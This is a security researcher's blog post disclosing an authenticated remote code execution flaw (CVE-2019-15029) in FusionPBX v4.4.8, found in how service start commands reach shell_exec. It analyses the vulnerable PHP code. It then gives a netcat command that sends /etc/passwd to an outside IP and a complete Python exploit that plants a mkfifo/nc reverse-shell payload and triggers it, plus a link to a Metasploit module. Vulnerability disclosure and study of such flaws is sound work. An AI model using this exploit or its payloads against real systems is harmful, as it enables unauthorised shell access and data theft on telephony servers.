# FusionPBX v4.4.8 authenticated Remote Code Execution (CVE-2019-15029)
Posted on 2019-08-142019-09-23 by
[Askar](https://shells.systems/author/askar/)

Estimated Reading Time: 7 minutes
#### Summary about FusionPBX
FusionPBX can be used as a highly available single or domain based multi-
tenant PBX, carrier grade switch, call center server, fax server, voip server,
voicemail server, conference server, voice application server, appliance
framework and more.
#### About the exploit
In this vulnerability the exploit was kind of easy to find and exploit , the
exploitation of this vulnerability triggers by creating a new malicious
service that holds a "start command" value, which suppose to be a special
command to start/stop a service running in the operating system.
The attacker can control the "start command" variable by creating a new
services using "service_edit.php" file which is handled via line #56 as POST
value called "service_cmd_start" which is checked and filtered by a function
called "check_str()" and then inserted to the database.
After creating the service and inserting it to the database, we can call it
via "services.php" by sending a GET request to start the service and execute
the stored "start command" which is a controlled by us.
I decided to hunt for a RCE as usual, So I started to list all unsafe
functions using a very simple [python
script](https://github.com/mhaskar/RCEScanner) I wrote which been used in a
previous case studies.
The script gives me a lot of points to start with by showing me all the unsafe
functions on the script, and after some digging I found a very obvious piece
of code that is appears vulnerable which is line #102 in
**/app/services/services.php ** which contains **:**
```
if($service_type == 'svc'){
if($HAS_WIN_SVC){
$svc = new win_service($service_data);
if ($_GET["a"] == "stop") {
$_SESSION["message"] = $text['message-stopping'].': '.$service_name;
$svc->stop();
}
if ($_GET["a"] == "start") {
$_SESSION["message"] = $text['message-starting'].': '.$service_name;
$svc->start();
}
}
}
else {
if ($_GET["a"] == "stop") {
$_SESSION["message"] = $text['message-stopping'].': '.$service_name;
shell_exec($service_cmd_stop);
}
if ($_GET["a"] == "start") {
$_SESSION["message"] = $text['message-starting'].': '.$service_name;
shell_exec($service_cmd_start);
}
}
header("Location: services.php");
return;
}
```
As we can see there is two shell_exec functions that execute the
$service_cmd_start and $service_cmd_stop variables, and this variables are
already called from the database based on line #76 in **services.php** which
has the following:
```
if (strlen($_GET["a"]) > 0) {
$service_uuid = check_str($_GET["id"]);
$sql = "select * from v_services ";
$sql .= "where service_uuid = '$service_uuid' ";
$prep_statement = $db->prepare(check_sql($sql));
$prep_statement->execute();
$result = $prep_statement->fetchAll(PDO::FETCH_NAMED);
foreach ($result as &$row) {
$domain_uuid = $row["domain_uuid"];
$service_name = $row["service_name"];
$service_type = $row["service_type"];
$service_data = $row["service_data"];
$service_cmd_start = $row["service_cmd_start"];
$service_cmd_stop = $row["service_cmd_stop"];
$service_description = $row["service_description"];
}
```
From the previous code we can see that the script make a query to the database
and extract the service information which has the raw value
"service_cmd_start" saved to $service_cmd_start variable which will be passed
later on to shell_exec line #102 on **services.php.**
Now we need to find the code that handles the creating of a new service ,
which is " **service_edit.php** " this file will create a new service or edit
an existing service for you, after some digging in the code I found the
required piece which is:
```
//action add or update
if (isset($_REQUEST["id"])) {
$action = "update";
$service_uuid = check_str($_REQUEST["id"]);
}
else {
$action = "add";
}
//get http post and set it to php variables
if (count($_POST)>0) {
$service_name = check_str($_POST["service_name"]);
$service_type = check_str($_POST["service_type"]);
$service_data = check_str($_POST["service_data"]);
$service_cmd_start = check_str($_POST["service_cmd_start"]);
$service_cmd_stop = check_str($_POST["service_cmd_stop"]);
$service_description = check_str($_POST["service_description"]);
}
```
As we can see this piece of code are responsible about handling the POST
requests to " **edit_service.php** " and as we can see in line #56 the
service_cmd_start POST value is stored in $service_cmd_start variable and
passed to **check_str** function, and will be inserted to the database by the
following code :
```
if ($_POST["persistformvar"] != "true") {
if ($action == "add" && permission_exists('service_add')) {
$service_uuid = uuid();
$sql = "insert into v_services ";
$sql .= "(";
$sql .= "domain_uuid, ";
$sql .= "service_uuid, ";
$sql .= "service_name, ";
$sql .= "service_type, ";
$sql .= "service_data, ";
$sql .= "service_cmd_start, ";
$sql .= "service_cmd_stop, ";
$sql .= "service_description ";
$sql .= ")";
$sql .= "values ";
$sql .= "(";
$sql .= "'$domain_uuid', ";
$sql .= "'$service_uuid', ";
$sql .= "'$service_name', ";
$sql .= "'$service_type', ";
$sql .= "'$service_data', ";
$sql .= "'$service_cmd_start', ";
$sql .= "'$service_cmd_stop', ";
$sql .= "'$service_description' ";
$sql .= ")";
$db->exec(check_sql($sql));
unset($sql);
messages::add($text['message-add']);
header("Location: services.php");
return;
} //if ($action == "add")
```
As we can see in line #111 the value will be inserted for the required
service, and from here we can conclude that we can do the following to get
RCE:
Login ==> Create service with malicious start command ==> start the service
And as I mentioned before the $_POST['service_cmd_start'] is passed to
check_str function which is existed in " **/resources/functions.php** " line
#62 and do the following:
```
function check_str($string, $trim = true) {
global $db_type, $db;
//when code in db is urlencoded the ' does not need to be modified
if ($db_type == "sqlite") {
if (function_exists('sqlite_escape_string')) {
$string = sqlite_escape_string($string);
}
else {
$string = str_replace("'","''",$string);
}
}
if ($db_type == "pgsql") {
$string = pg_escape_string($string);
}
if ($db_type == "mysql") {
if(function_exists('mysql_real_escape_string')){
$tmp_str = mysql_real_escape_string($string);
}
else{
$tmp_str = mysqli_real_escape_string($db, $string);
}
if (strlen($tmp_str)) {
$string = $tmp_str;
}
else {
$search = array("\x00", "\n", "\r", "\\", "'", "\"", "\x1a");
$replace = array("\\x00", "\\n", "\\r", "\\\\" ,"\'", "\\\"", "\\\x1a");
$string = str_replace($search, $replace, $string);
}
}
$string = ($trim) ? trim($string) : $string;
return $string;
}
```
And as we can see that the function is responsible about filtering the text
from any character that can used to perform sql injection attacks based on the
DMBS that is configured with FusionPBX, and we can see that that function
doesn't filter any shell commands or check for special characters used during
command injection , so we can insert any command we want without any
restrictions, and here is BIG mistake by the software logic made by the
developers, they allow any service with any command to be inserted and
executed even if the service is not existed or the command has malicious usage
!
Let's back to "services.php" code and see how we can trigger our command.
```
if (strlen($_GET["a"]) > 0) {
$service_uuid = check_str($_GET["id"]);
$sql = "select * from v_services ";
$sql .= "where service_uuid = '$service_uuid' ";
$prep_statement = $db->prepare(check_sql($sql));
$prep_statement->execute();
$result = $prep_statement->fetchAll(PDO::FETCH_NAMED);
foreach ($result as &$row) {
$domain_uuid = $row["domain_uuid"];
$service_name = $row["service_name"];
$service_type = $row["service_type"];
$service_data = $row["service_data"];
$service_cmd_start = $row["service_cmd_start"];
$service_cmd_stop = $row["service_cmd_stop"];
$service_description = $row["service_description"];
}
unset ($prep_statement);
if($service_type == 'svc'){
if($HAS_WIN_SVC){
$svc = new win_service($service_data);
if ($_GET["a"] == "stop") {
$_SESSION["message"] = $text['message-stopping'].': '.$service_name;
$svc->stop();
}
if ($_GET["a"] == "start") {
$_SESSION["message"] = $text['message-starting'].': '.$service_name;
$svc->start();
}
}
}
else {
if ($_GET["a"] == "stop") {
$_SESSION["message"] = $text['message-stopping'].': '.$service_name;
shell_exec($service_cmd_stop);
}
if ($_GET["a"] == "start") {
$_SESSION["message"] = $text['message-starting'].': '.$service_name;
shell_exec($service_cmd_start);
}
}
header("Location: services.php");
return;
}
```
We need to pass the service id as $_GET['id'] in line #65 which will extract
the values from the database "service_cmd_start" contains with them of course,
and then pass $_GET['a'] as start to call the service_cmd_start which will
passed to shell_exec in line #100 and by theory we can have our command
executed !
So I will try to execute this scenario via Burpsuite like the following:

As we can see the service has been added with the command "cat /etc/passwd |
nc 172.0.1.3 1337" and we can see the service id in browser is
"8f62e4b0-95be-4567-9c84-1776b4c0d5d5", So we can trigger it by visiting the
URL services.php?id=8f62e4b0-95be-4567-9c84-1776b4c0d5d5&a=start and we will
have the following:

We got the command executed !!
#### Exploit Writing
After getting the code executed using burp, we need to automate the
exploitation process , and I will break down the steps that we need in order
to get RCE:
- Login to FusionPBX.
- Create a new service contains service_cmd_start as our payload.
- Get the service_id.
- Make a request to services.php with the service_id and parameter a=start.
The final python exploit code will be:
```
#!/usr/bin/python3
'''
# Exploit Title: FusionPBX v4.4.8 authenticated Remote Code Execution
# Date: 13/08/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : 2019-15029
# Vendor Homepage: https://www.fusionpbx.com
# Software link: https://www.fusionpbx.com/download
# Version: v4.4.8
# Tested on: Ubuntu 18.04 / PHP 7.2
'''
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import sys
import warnings
from bs4 import BeautifulSoup
# turn off BeautifulSoup and requests warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
if len(sys.argv) != 6:
print(len(sys.argv))
print("[~] Usage : ./FusionPBX-exploit.py url username password ip port")
print("[~] ./exploit.py http://example.com admin [[email protected]](/cdn-cgi/l/email-protection)$$word 172.0.1.3 1337")
exit()
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
```
```
request = requests.session()
login_info = {
"username": username,
"password": password
}
login_request = request.post(
url+"/core/user_settings/user_dashboard.php",
login_info, verify=False
)
```
```
if "Invalid Username and/or Password" not in login_request.text:
print("[+] Logged in successfully")
else:
print("[+] Error with creds")
service_edit_page = url + "/app/services/service_edit.php"
services_page = url + "/app/services/services.php"
payload_info = {
# the service name you want to create
"service_name":"PwnedService3",
"service_type":"pid",
"service_data":"1",
# this value contains the payload , you can change it as you want
"service_cmd_start":"rm /tmp/z;mkfifo /tmp/z;cat /tmp/z|/bin/sh -i 2>&1|nc 172.0.1.3 1337 >/tmp/z",
"service_cmd_stop":"stop",
"service_description":"desc",
"submit":"Save"
}
request.post(service_edit_page, payload_info, verify=False)
html_page = request.get(services_page, verify=False)
soup = BeautifulSoup(html_page.text, "lxml")
for a in soup.find_all(href=True):
if "PwnedService3" in a:
sid = a["href"].split("=")[1]
break
service_page = url + "/app/services/services.php?id=" + sid + "&a=start"
print("[+] Triggering the exploit , check your netcat !")
request.get(service_page, verify=False)
```
You can find the exploit code
[here](https://gist.github.com/mhaskar/7a6a804cd68c7fec4f9d1f5c3507900f), and
the exploit result will be like the following:

#### Metasploit Module
Also I wrote a Metasploit module to exploit this RCE with this code, you can
find it
[here](https://gist.github.com/mhaskar/367c38e0db874acb28fa08d74251d054).
And the results will be:

We popped a shell !
暂无评论